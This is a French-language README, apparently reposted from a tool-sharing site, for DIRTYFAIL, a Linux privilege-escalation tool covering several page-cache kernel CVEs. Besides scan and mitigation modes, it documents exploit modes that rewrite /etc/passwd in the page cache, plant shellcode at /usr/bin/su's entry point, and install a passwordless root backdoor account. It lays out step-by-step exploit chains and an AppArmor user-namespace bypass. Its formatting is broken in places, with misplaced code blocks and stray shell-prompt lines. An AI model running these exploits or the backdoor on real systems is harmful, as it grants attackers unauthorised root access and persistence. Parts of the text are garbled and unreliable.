* **Linux** (ce binaire est réservé à Linux lors de l'exécution).
* `gcc` ou `clang`, `make`.
* En-têtes UAPI Linux — spécifiquement `<linux/xfrm.h>`, `<linux/netlink.h>`,
  `<linux/rtnetlink.h>`, `<linux/if.h>`.

| Distribution       | Installation                                         |
|--------------------|------------------------------------------------------|
| Debian / Ubuntu    | `sudo apt install build-essential linux-libc-dev`    |
| RHEL / CentOS      | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora             | `sudo dnf install gcc make kernel-headers`           |
| Arch               | `sudo pacman -S base-devel`                          |

### Commandes de construction```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

La construction par défaut produit un seul binaire d'environ 80 Ko à ./dirtyfail. Pour une construction portable qui fonctionne sur tout Linux compatible avec le noyau sans dérive de dépendance glibc :```sh make static CC=musl-gcc

root@kitploit:~
(installez `musl-tools` sur Debian/Ubuntu, ou compilez musl depuis les sources).

---

## 6. Utilisation

`./dirtyfail --help` est la référence canonique ; les modes sont regroupés par catégorie :

**Détection (sûr ; aucune modification système) :**

| Mode | Fonction |
|---|---|
| `--scan` | Exécute les cinq détecteurs (mode par défaut) |
| `--scan --active` | Ajoute une sonde STORE de fichier sentinelle par CVE — distingue les préconditions remplies des exploitations réelles |
| `--scan --json` | Émet un objet JSON unique sur stdout (compatible SIEM) ; les logs vont sur stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | Détection par CVE uniquement |

**Exploitation (validation par confirmation tapée ; corrompt le cache de pages de `/etc/passwd`) :**

| Mode | Fonction |
|---|---|
| `--exploit-copyfail` | Basculement UID via la primitive 4-octets de `algif_aead` |
| `--exploit-esp` | Basculement UID via xfrm-ESP v4 (nécessite userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | Basculement UID via xfrm-ESP v6 |
| `--exploit-rxrpc` | Champ mot de passe root vide via brute force rxkad fcrypt |
| `--exploit-gcm` | Basculement UID via la primitive mono-octet de `rfc4106(gcm(aes))` |
| `--exploit-backdoor` | PERSISTANT : insère `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | Style V4bel : implante du shellcode spécifique à l'architecture au point d'entrée de `/usr/bin/su`. x86_64 testé de bout en bout ; aarch64 est livré non testé matériellement (conditionné derrière `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |

**Nettoyage / inspection d'état :**

| Mode | Fonction |
|---|---|
| `--cleanup` | Évince `/etc/passwd` du cache de pages (`fadvise` + `drop_caches` si root) |
| `--cleanup-backdoor` | Restaure la ligne originale de `/etc/passwd` depuis le fichier d'état |
| `--cleanup-su` | Restaure les octets du point d'entrée de `/usr/bin/su` depuis le fichier d'état |
| `--list-state` | Rapporte ce qui est actuellement implanté (le cas échéant) ; sans effet de bord |

**Défensif (root requis) :**

| Mode | Fonction |
|---|---|
| `--mitigate` | Met sur liste noire les modules `algif_aead`/`esp4`/`esp6`/`rxrpc` ; définit `apparmor_restrict_unprivileged_userns=1` ; drop_caches. Effets secondaires : casse IPsec, AFS |
| `--cleanup-mitigate` | Supprime les fichiers modprobe/sysctl installés par `--mitigate` |

**Options communes :**

| Option | Effet |
|---|---|
| `--no-shell` | Après une exploitation réussie, N'effectuez PAS `execve su` — vérifier et annuler |
| `--no-revert` | Avec `--no-shell`, ignore également l'auto-annulation (utilisé par la démo d'évasion de conteneur) |
| `--active` | Ajoute des sondes STROE sentinelles actives à `--scan`/`--check-*` |
| `--json` | (avec `--scan`) émet une sortie lisible par machine |
| `--no-color` | Désactive la couleur ANSI |
| `--aa-bypass` | (DEBUG uniquement) force le contournement AppArmor unprivileged-userns — les exploits le font en interne, voir §8.5 |

### Exemples de détection

Scan simple (préconditions seulement — rapide, ~1s) :```sh
./dirtyfail --scan

Sonde sentinelle active par CVE (~10s, modifie uniquement les sentinelles /tmp):```sh ./dirtyfail --scan --active

root@kitploit:~
JSON pour l'ingestion SIEM/flotte :```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

Status values: vulnerable, not_vulnerable, preconds_missing, test_error. Le résumé reflète le pire parmi les résultats.

Exemples d'exploit (confirmation tapée requise)```sh

./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)

root@kitploit:~
Chaque exploit demande `DIRTYFAIL` + (le cas échéant)
`YES_BREAK_SSH` avant toute modification du cache de pages.

### Inspection d'état + nettoyage```sh
./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

Ou passer directement au noyau :```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

root@kitploit:~
---

## 7. Comment DIRTYFAIL détecte chaque CVE

### Copy Fail (sonde sentinelle active)

La détection déclenche en fait la primitive contre un fichier sentinelle dans
`/tmp` :

1. Sonde `socket(AF_ALG, SOCK_SEQPACKET, 0)` et `bind` vers
   `authencesn(hmac(sha256), cbc(aes))`.
2. Crée un fichier sentinelle de 4 Kio dans `/tmp` et met en défaut sa première page
   dans le cache.
3. Exécute la primitive complète de l'exploit contre lui : `sendmsg` AAD avec
   `seqno_lo = "PWND"`, épisse 32 octets de la sentinelle dans la socket op AF_ALG,
   pilote `recv` pour déclencher l'écriture de travail.
4. Relit la sentinelle et cherche `PWND` n'importe où dans la première
   page.

Marqueur trouvé ⇒ vulnérable. Marqueur absent mais contenu de la page différent ⇒
la primitive a partiellement déclenché (toujours vulnérable). Page identique ⇒
pas vulnérable sur ce noyau.

### Dirty Frag xfrm-ESP (basé sur précondition — ou actif avec `--active`)

Par défaut, `--scan` est uniquement basé sur précondition — nous n'entrons pas dans un
espace de noms utilisateur en mode détection (cela aurait un effet secondaire sur le réseau à l'intérieur
de cet espace de noms). Nous vérifions :

* la version du noyau dans la fenêtre affectée
* `esp4` / `esp6` actuellement chargé ou chargeable automatiquement
* la création d'un espace de noms utilisateur non privilégié réussit (testée via fork →
  enfant `unshare(CLONE_NEWUSER)`)
* `apparmor_userns_caps_blocked()` d'AppArmor renvoie faux

Les quatre présents ⇒ VULNÉRABLE (préconditions remplies).

`--scan --active` étend cela avec une sonde STORE sentinelle : nous forkon
un enfant qui arme le contournement AA, entre dans un espace de noms utilisateur/réseau frais,
enregistre une SA XFRM et déclenche la sonde ESP-in-UDP contre un
fichier sentinelle `/tmp/dirtyfail-esp-probe.XXXXXX`. Le parent relit
la sentinelle et cherche les octets marqueurs :

* marqueur posé → le STORE du noyau est atteignable → **VULNÉRABLE**
* page intacte → le correctif du noyau est en vigueur → **PAS VULNÉRABLE**
* contournement AA refusé → **PRECOND_FAIL** (atténué par LSM)

C'est la seule façon de distinguer un noyau patché rétroporté d'un noyau non patché
sans exécuter l'exploit complet de basculement UID contre `/etc/passwd`. Le même motif est utilisé pour ESP v6, RxRPC,
et GCM sous `--active`.

### Dirty Frag RxRPC (basé sur précondition — ou actif avec `--active`)

Préconditions :
* `rxrpc` dans `/proc/modules` ou chargeable automatiquement
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` réussit

Sonde active (`--active`) : fork via contournement AA, enregistre une clé de session rxrpc
avec une valeur arbitraire de 8 octets, envoie une falsification CHALLENGE + DATA
contre une sentinelle `/tmp`, cherche TOUT changement d'octet à l'intérieur
de la fenêtre épissée de 8 octets. Nous n'essayons pas de prédire ce qui
a atterri — toute modification confirme que le STORE du noyau se déclenche.

### Variante Copy Fail GCM + ESP v6 — même forme

La sonde active de la variante GCM installe une SA en mode transport avec un
IV arbitraire et déclenche `gcm_trigger` contre une sentinelle `/tmp` ; TOUT
changement d'octet à sentinel[0] confirme l'atteignabilité. La sonde ESP v6
s'auto-calibre également `V6_STORE_SHIFT` par construction du noyau (voir
`calibrate_v6_shift` dans `src/dirtyfrag_esp6.c`) — différentes compilations de distributions
de `esp6_input` placent le STORE à des décalages légèrement différents
à l'intérieur de la région épissée, et la sonde de calibrage découvre le
décalage exact avant que l'exploit réel ne se déclenche.

---

## 8. Comment DIRTYFAIL exploite chaque CVE

### Exploit Copy Fail (`copyfail.c`)

STORE unique de 4 octets via `algif_aead` :```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

Dirty Frag xfrm-ESP exploit (dirtyfrag_esp.c)

Même état final que Copy Fail, atteint via xfrm_input au lieu de algif_aead :``` [/etc/passwd page cache] unshare(USER|NET); setup uid_map; ifup lo NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP udp_send connect 127.0.0.1:4500 vmsplice ESP wire header (24B) ─▶ pipe splice /etc/passwd@uid_off (16B) ─▶ pipe splice pipe (40B) ─▶ udp_send udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input skb has frags, no frag_list ─▶ goto skip_cow (THE BUG) crypto_authenc_esn_decrypt: scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE AEAD auth fails (EBADMSG) — but the STORE is permanent page-cache copy of /etc/passwd now reports uid 0 for the user

root@kitploit:~
Puis quittez l'espace de noms, `execlp("su", user)` depuis le parent — même étape finale que Copy Fail.

### Dirty Frag RxRPC exploit (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

--exploit-su injection de shellcode (exploit_su.c)

Une deuxième chaîne d'attaque sans /etc/passwd modelée sur l'exploit de référence de V4bel. Au lieu de modifier le cache de pages de /etc/passwd, nous plaçons un shellcode spécifique à l'architecture au point d'entrée ELF de /usr/bin/su dans son cache de pages ; la prochaine fois que quelqu'un exécute /usr/bin/su, le noyau définit euid=0 à partir du bit setuid sur disque, le linker dynamique résout, et le contrôle passe à notre shellcode → /bin/sh en tant que véritable root init-ns. Pas de dépendance PAM, contourne complètement la suppression de pam_unix nullok.``` parent (init ns) │ stat /usr/bin/su; verify setuid+root │ parse ELF header; resolve e_entry → file offset │ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state │ for each 4-byte chunk of shellcode: │ cf_4byte_write("/usr/bin/su", file_offset+i, chunk) │ pread() back; verify match │ if --no-shell: │ plant_shellcode(original) # revert via re-write │ fadvise(DONTNEED) on a new fd # evict if possible │ else: │ execl("/usr/bin/su", "su", NULL) ─► │ kernel exec /usr/bin/su (setuid root) │ ld-linux.so resolves │ jumps to e_entry → our shellcode │ setuid(0); setgid(0); │ execve("/bin/sh", argv, NULL) ▼ ────► root shell

root@kitploit:~
Matrice d'architecture :

* **x86_64 (56 octets, 14 écritures chaînées de 4 octets)** — testé
  de bout en bout sur Fedora 44 (`uid=0(root) gid=0(root) ...
  context=unconfined_u:unconfined_r:unconfined_t`). Shellcode dans
  `shellcode_x86_64[]`.
* **aarch64 (80 octets, 20 instructions)** — codé à la main à partir de la
  référence ARMv8-A, **jamais exécuté sur du matériel réel**. Protégé par
  `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Le code source est fourni dans
  `tools/exploit_su_aarch64.S` pour vérification par la communauté — assemblez
  avec `aarch64-linux-gnu-as` et confirmez que la séquence d'octets correspond à
  `shellcode_aarch64[]`.
* tout autre chose → preconds_fail.

Le fichier d'état `/var/tmp/.dirtyfail-su.state` stocke les octets du point d'entrée d'origine afin que `--cleanup-su` puisse les restaurer. `--list-state` inspecte ce fichier (et celui de la porte dérobée) sans toucher à rien.

Si l'étape de vérification constate que le cache de pages ne correspond pas au shellcode installé (noyau patché, AF_ALG mis sur liste noire, etc.), l'auto-restauration se déclenche immédiatement et le fichier d'état est supprimé — inutile pour l'opérateur d'exécuter cleanup-su par la suite.

---

## 8.5 Architecture : contournement basé sur les forks externe/interne

Les cinq modes d'exploitation partagent une architecture commune pour gérer la politique `apparmor_restrict_unprivileged_userns=1` d'Ubuntu sans piéger le `su` post-exploitation à l'intérieur d'un userns où il ne peut pas atteindre la racine réelle de l'espace de noms d'initialisation.

### Le problème

Un contournement naïf place le processus *entier* `dirtyfail` à l'intérieur d'un nouvel espace de noms utilisateur via `unshare(CLONE_NEWUSER)`. Cela suffit pour enregistrer les SA XFRM et déclencher les déclencheurs splice — mais cela signifie également que l'`execlp("su", user)` éventuel s'exécute à l'intérieur de l'userns, où l'uid 0 est mappé via `uid_map "0 1000 1"` vers l'uid externe de l'opérateur (1000). Le `setresuid(0)` de PAM atterrit alors à userns-uid-0-mapped-to-1000, qui **n'est pas** la racine réelle de l'espace de noms d'initialisation — `cat /etc/shadow` renvoie EACCES, le shell ne peut pas réellement effectuer d'opérations privilégiées.

### La solution : séparation externe/interne```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

Le parent n'entre jamais dans un espace de noms utilisateur. L'enfant effectue le bypass + le travail du noyau, modifie le cache de pages global (qui est partagé entre les espaces de noms — le seul "pont" dont nous avons besoin), puis se termine. L'appel su du parent est alors un appel normal setresuid dans l'espace de noms init.

Transfert parent → enfant via des variables d'environnement

execv préserve l'environnement, donc le parent stocke les paramètres de l'opération dans des variables d'environnement avant de forker. Chaque mode définit les siennes :

Après que l'étape 2 du bypass soit terminée, main() vérifie DIRTYFAIL_INNER_MODE et distribue vers <mode>_exploit_inner(). L'intérieur effectue uniquement le travail du noyau (pas d'invites, pas de fork, pas de su) et se termine avec le code de résultat. Le parent le récupère via waitpid et procède à la vérification.

Pourquoi le bypass en un seul saut

La danse antérieure à deux sauts (change_onexec("crun") → change_onexec("chrome")) a causé des échecs intermittents ENOSPC sur Ubuntu 24.04 dans notre chaîne d'exécution (probablement un pli de comptabilité userns par profil). Le saut unique dans crun est suffisant — le profil AppArmor de crun a flags=(unconfined) et une permission explicite userns,, donc unshare réussit et reste réussi.

Pourquoi pas de boucle infinie de ré-exécution

Après que l'étape 2 se termine avec succès, un indicateur g_bypass_done local au processus est défini. Si apparmor_bypass_needed() est appelé à nouveau dans le même processus, il court-circuite à false, empêchant le code post-exploit de réarmer et d'imbriquer une autre couche userns (qui atteignait auparavant la limite d'imbrication par userns sous forme de ENOSPC).

--aa-bypass est désormais un indicateur réservé au débogage

Dans l'ancienne architecture, --aa-bypass armait un bypass pour tout le processus avant l'envoi de l'exploit. Dans la nouvelle architecture, les modes d'exploit effectuent leur propre bypass basé sur fork en interne ; l'indicateur n'est plus nécessaire pour une utilisation normale. Il est conservé pour déboguer les mécanismes du bypass en isolation (par exemple, exécuter --scan dans un userns bypass), avec un avertissement qu'il peut casser le su post-exploit.


9. Atténuations

Copy Fail (CVE-2026-31431)

  1. Appliquez le correctif. Le noyau principal a664bf3d ; les backports sont arrivés sur les branches stables 6.12 / 6.17 / 6.18.
  2. Intérimaire : mettre sur liste noire algif_aead : ```sh echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf sudo rmmod algif_aead 2>/dev/null
    root@kitploit:~

⚠ Note : cela ne mitige pas Dirty Frag. Le chemin xfrm-ESP atteint la même primitive authencesn sans passer par algif_aead.

Dirty Frag xfrm-ESP (CVE-2026-43284)

  1. Appliquer le correctif. Mainline f4c50a4034e6 (fusionné le 2026-05-07). Les backports des distributions sont en cours de déploiement à partir du 2026-05-08.
  2. En attendant : blacklister esp4 et esp6 : ```sh sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF' install esp4 /bin/false install esp6 /bin/false EOF sudo rmmod esp4 esp6 2>/dev/null sudo sysctl vm.drop_caches=3
    root@kitploit:~

⚠ Cela casse les VPN IPsec / strongSwan / libreswan. 3. Défense en profondeur : interdire les espaces de noms utilisateur non privilégiés. Ubuntu le fait par défaut via AppArmor ; sur les autres distributions : ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0

root@kitploit:~
### Dirty Frag RxRPC (CVE-2026-43500)

1. **Aucun correctif en amont pour l'instant.** Correctif du chercheur sur lkml ; non fusionné au moment de la rédaction (2026-05-08).
2. **Intérimaire**: mettre en liste noire `rxrpc`:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

⚠ Cela casse les clients du système de fichiers distribué AFS. La plupart des serveurs n'ont pas besoin de rxrpc.

Ligne unique combinée (toutes les trois)```sh

sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '

root@kitploit:~
### Ou utiliser `dirtyfail --mitigate`

Le même ensemble d'atténuations est encapsulé dans un mode défensif à confirmation typée et verrouillée :```sh
sudo ./dirtyfail --mitigate

Ceci place /etc/modprobe.d/dirtyfail-mitigations.conf et /etc/sysctl.d/99-dirtyfail-mitigations.conf, décharge les quatre modules, et exécute drop_caches. Annule via sudo ./dirtyfail --cleanup-mitigate. Effets secondaires : casse IPsec, les clients AFS et tout espace utilisateur utilisant AF_ALG AEAD. Voir docs/DEFENDERS.md pour le playbook complet de l'administrateur système.

Détection / surveillance

Pour une détection continue indépendante des correctifs :

  • Scannez un hôte : dirtyfail --scan --active (sonde sentinel-STORE complète) ou dirtyfail --scan --active --json pour l'ingestion SIEM/parc. La variante bash tools/dirtyfail-check.sh n'a aucune dépendance de construction.
  • Règles d'audit : tools/99-dirtyfail.rules est un ensemble de règles auditd prêt à l'emploi couvrant les cinq chemins d'appels système utilisés par la chaîne d'exploitation (enregistrement XFRM netlink, add_key("rxrpc"), unshare(CLONE_NEWUSER), création de socket AF_ALG, écritures dans /etc/passwd//etc/shadow). Installez avec : ```sh sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/ sudo augenrules --load && sudo systemctl restart auditd
    root@kitploit:~
  • Démonstration du rayon d'impact du conteneur : tools/dirtyfail-container-escape.sh montre que le cache de pages du noyau est partagé entre les espaces de noms — utile pour expliquer l'impact transversal entre les locataires aux opérateurs.

10. Éthique et divulgation

DIRTYFAIL est un outil de recherche. Les vulnérabilités qu'il couvre sont déjà divulguées publiquement avec des PoCs armés dans la nature (voir Crédits) — DIRTYFAIL ajoute une couverture de détection, une documentation unifiée, et une variante de PoC plus douce (inversion UID plutôt que remplacement ELF de /usr/bin/su).

  • N'exécutez pas les modes --exploit-* sur des systèmes que vous ne possédez pas ou dont vous n'êtes pas explicitement autorisé à tester. Les modifications du cache de pages sont réversibles avec drop_caches, mais elles constituent toujours une élévation de privilège tant qu'elles persistent.
  • Ne déployez pas DIRTYFAIL comme "scanneur" contre des infrastructures tierces sans autorisation écrite. Le mode de détection ne modifie pas les fichiers système mais ouvre un fichier sentinelle dans /tmp et exerce l'API crypto du noyau.
  • Si vous trouvez un système vulnérable dans la nature, suivez une divulgation responsable à l'opérateur, pas au public.

Bonus : notes sur la variante GCM + porte dérobée + contournement AppArmor

Ces trois fonctionnalités étendent DIRTYFAIL avec des techniques publiées pour la première fois par 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo. Réimplémentées dans le style DIRTYFAIL ; les crédits originaux se trouvent dans NOTICE.md.

Variante GCM de Copy Fail

Même chemin xfrm-ESP sans COW que CVE-2026-43284, mais en utilisant rfc4106(gcm(aes)) au lieu de authencesn(...). Deux raisons pour lesquelles il est intéressant de fournir cette variante aux côtés de la variante authencesn :

  1. Couverture. Un défenseur qui a mis sur liste noire algif_aead pour atténuer Copy Fail (CVE-2026-31431) reste vulnérable ici — le chemin GCM ne passe pas par algif_aead.
  2. Granularité. AES-GCM en mode compteur applique un XOR du flux de clé sur l'octet fusionné. En forçant brutalement l'IV (~256 essais par octet), nous pouvons placer un seul octet arbitraire à n'importe quel décalage de fichier — pas d'alignement 4-octets, pas d'effets secondaires 4-octets.

La primitive 1-octet (cfg_1byte_write) est ce qui rend le mode porte dérobée persistant possible.

Porte dérobée persistante

--exploit-backdoor sélectionne la plus longue ligne de /etc/passwd dont le shell est dans {nologin, false, sync} et la remplace octet par octet par dirtyfail::0:0:<pad>:/:/bin/bash (longueur adaptée). Après l'installation, su - dirtyfail depuis n'importe quel utilisateur donne un shell root — aucune demande de mot de passe — parce que pam_unix.so nullok accepte le champ de mot de passe vide.

Le nom d'utilisateur dirtyfail est intentionnellement marqué pour ce projet afin qu'il soit facile à détecter lors de tout audit ultérieur — les défenseurs exécutant grep dirtyfail /etc/passwd (ou tout HIDS faisant de même) repéreront la ligne immédiatement. Si vous avez besoin d'un identifiant différent pour un engagement red-team spécifique, modifiez NEW_USER et DF_PREFIX dans src/backdoor.c.

Le fichier sur disque est inchangé ; la substitution vit dans le cache de pages uniquement. --cleanup-backdoor restaure la ligne originale via la même primitive.

Contournement AppArmor

Ubuntu 24.04+ est livré avec apparmor_restrict_unprivileged_userns=1. Le profil par défaut appliqué aux binaires non privilégiés permet à unshare(USER) de réussir mais supprime CAP_NET_ADMIN dans le nouvel espace de noms. L'enregistrement XFRM SA échoue alors silencieusement.

Le contournement : écrire "exec crun" dans /proc/self/attr/exec et execv pour passer au profil crun d'AppArmor, qui a flags=(unconfined) et une permission explicite userns,. Après l' appel exec, unshare(CLONE_NEWUSER | CLONE_NEWNET) réussit avec des capacités complètes dans le nouvel espace de noms.

DIRTYFAIL gère cela par mode d'exploitation via un fork : le parent reste dans l'espace de noms init, l'enfant effectue le contournement + le travail du noyau, le parent lit le cache de pages global et exécute su pour le vrai root de l'espace de noms init. Voir §8.5 Architecture pour la chaîne complète. L'ancien indicateur --aa-bypass (qui activait le contournement pour tout le processus) est conservé pour le débogage uniquement.

La technique originale provient de aa-rootns.c par 0xdeadbeefnetwork (crédité là à Brad Spengler / grsecurity). L'implémentation de DIRTYFAIL :

  • Détecte la restriction via le kernel.apparmor_restrict_unprivileged_userns sysctl plutôt que de lire /proc/self/attr/current (qui affiche toujours "unconfined" sur Ubuntu 24.04 même lorsque la politique restreint).
  • Utilise un seul saut dans crun plutôt que la danse en deux sauts crun → chrome — le deuxième saut causait des ENOSPC intermittents sur Ubuntu 24.04.
  • Définit un indicateur local de processus g_bypass_done après l'étape 2 afin que les revérifications court-circuitent (empêchant les boucles de ré-exécution infinies qui épuisaient auparavant la limite de nidification par userns).

11. Crédits

DIRTYFAIL est un code original, mais les techniques qu'il implémente ont été développées par les chercheurs ci-dessous. Lisez leurs sources primaires avant de déployer cet outil — ce sont les références canoniques.

Auteurs des correctifs :

  • f4c50a4034e6 (Dirty Frag xfrm-ESP) — basé sur le correctif v1 de Hyunwoo Kim, avec l'approche fragment partagé fusionnée par Kuan-Ting Chen.
  • Correctif RxRPC — Hyunwoo Kim, en attente de fusion.

Licence

MIT. Voir LICENSE.


Contact

Ouvrez un ticket sur ce dépôt, ou contactez à l'adresse indiquée dans l'historique des commits. Pour une divulgation coordonnée de problèmes connexes, contactez directement les chercheurs en amont ci-dessus.

Télécharger l’outil
ModeVariables d'environnement
esp / esp6 / gcmDIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER
rxrpcDIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (hex) — le brute force fcrypt a lieu dans le parent (aucune capacité requise) ; les clés sont passées à l'enfant pour les déclenchements réels
backdoor-install / backdoor-cleanupDIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE
SourceChercheurContribution
https://copy.fail/AnonymeDivulgation originale de Copy Fail
https://github.com/Smarttfoxx/copyfailSmarttfoxxPoC en C (variante shellcode dans su)
https://github.com/rootsecdev/cve_2026_31431rootsecdevDétecteur Python + PoC d'inversion UID ; l'ergonomie du mode --exploit-copyfail de DIRTYFAIL suit cette approche.
https://github.com/V4bel/dirtyfragHyunwoo Kim (@v4bel)Découverte de Dirty Frag, PoC complet, correctifs du noyau
https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo0xdeadbeefnetworkExploit variante GCM, PoC IPv6, technique de contournement AppArmor userns
https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/BleepingComputerRapports publics